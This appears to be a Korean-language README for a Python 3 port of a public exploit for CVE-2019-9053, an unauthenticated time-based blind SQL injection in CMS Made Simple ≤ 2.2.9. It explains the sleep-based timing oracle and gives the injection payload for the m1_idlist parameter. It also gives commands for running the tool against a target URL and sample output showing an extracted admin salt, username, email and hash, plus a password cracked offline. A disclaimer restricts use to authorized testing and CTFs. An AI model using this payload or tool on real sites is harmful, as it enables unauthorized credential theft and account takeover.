
CMS Made Simple ≤ 2.2.9 (CVE-2019-9053)를 대상으로 하는 인증되지 않은 시간 기반 블라인드 SQL 인젝션 익스플로잇, Python 3로 포팅됨.
면책 고지: 이 도구는 허가된 침투 테스트 및 교육 목적으로만 사용됩니다. 명시적인 서면 허가 없이 시스템에 대해 실행하는 것은 불법입니다. 작성자는 오용에 대한 책임을 지지 않습니다.
이것은 CVE-2019-9053 — CMS Made Simple ≤ 2.2.9의 인증되지 않은 시간 기반 블라인드 SQL 인젝션 취약점에 대한 공개 익스플로잇을 Python 3로 포팅한 것입니다.
취약한 파라미터는 /moduleinterface.php 엔드포인트(News 모듈)의 m1_idlist입니다. 사용자 입력이 SQL 쿼리에 정제되지 않은 채 전달되어, 인증되지 않은 공격자가 관리자 salt, 사용자 이름, 이메일, 비밀번호 해시를 추출하고 선택적으로 오프라인에서 비밀번호를 크랙할 수 있습니다.
원본 익스플로잇: Daniele Scanu @ Certimeter Group.
수정 및 정리를 포함한 Python 3 포트.
익스플로잇은 타이밍 오라클을 사용합니다. SQL LIKE 조건에 SELECT sleep(T)를 주입하고 HTTP 응답 시간을 측정합니다. 서버가 T초 이상 지연되면 주입된 조건이 참이었음을 의미합니다. 이를 통해 HTTP 응답 본문에 데이터가 전혀 나타나지 않고도 한 문자씩 데이터를 추출할 수 있습니다.
Payload structure:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
추출 순서:
추출 후, 선택적 오프라인 사전 공격이 단어 목록에 대해 MD5(salt + word)를 계산합니다 — 추가 네트워크 요청이 필요하지 않습니다.
원본 스크립트는 Python 2용으로 작성되었습니다. 다음과 같은 호환성 문제가 수정되었습니다:
pip3 install requests termcolor
| 의존성 | 목적 |
|---|---|
requests | 대상에 HTTP 요청 |
termcolor | 색상화된 터미널 출력 |
# 기본 추출 (비밀번호 크랙 없음)
python3 exploit.py -u http://<target-ip>/simple
# 추출 + 오프라인 비밀번호 크랙
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| 플래그 | 설명 |
|---|---|
-u, --url | CMS Made Simple 설치의 기본 URL |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
이 익스플로잇은 허가된 침투 테스트 및 CTF/교육 목적으로만 제공됩니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 무단 사용하는 것은 IT법(2000년, 인도) 및 전 세계의 이에 상응하는 법률에 따른 범죄입니다.
| 단계 | 필드 | 테이블 | 비고 |
|---|
| 1 | Salt | cms_siteprefs | 비밀번호 크랙에 필요 |
| 2 | Username | cms_users | user_id = 1 (관리자) |
| 3 | cms_users | user_id = 1 (관리자) | |
| 4 | Password | cms_users | MD5(salt + password)로 저장됨 |
| # | 변경 사항 | 이유 |
|---|
| 1 | print "..." → print("...") | print는 Python 3에서 함수입니다 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5()는 Python 3에서 bytes를 입력으로 받습니다 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict가 내장 함수를 가림; 컨텍스트 매니저로 변경 |
| 4 | print "\033c" → print("\033c", end="") | 터미널 초기화 시 이중 줄바꿈 방지 |
| 5 | print colored(...) → print(colored(...)) | colored()는 문자열을 반환하므로 print()로 감싸야 함 |
-w, --wordlist |
| 오프라인 비밀번호 크랙용 단어 목록 경로 |
-c, --crack | 비밀번호 크랙 모드 활성화 |
| 필드 | 값 |
|---|
| CVE ID | CVE-2019-9053 |
| CVSS Score | 7.5 (High) |
| 유형 | 인증되지 않은 시간 기반 블라인드 SQL 인젝션 |
| 영향을 받는 버전 | CMS Made Simple ≤ 2.2.9 |
| 파라미터 | News 모듈의 m1_idlist |
| 인증 필요 | 없음 |
| 패치 | CMS Made Simple 2.2.10+ |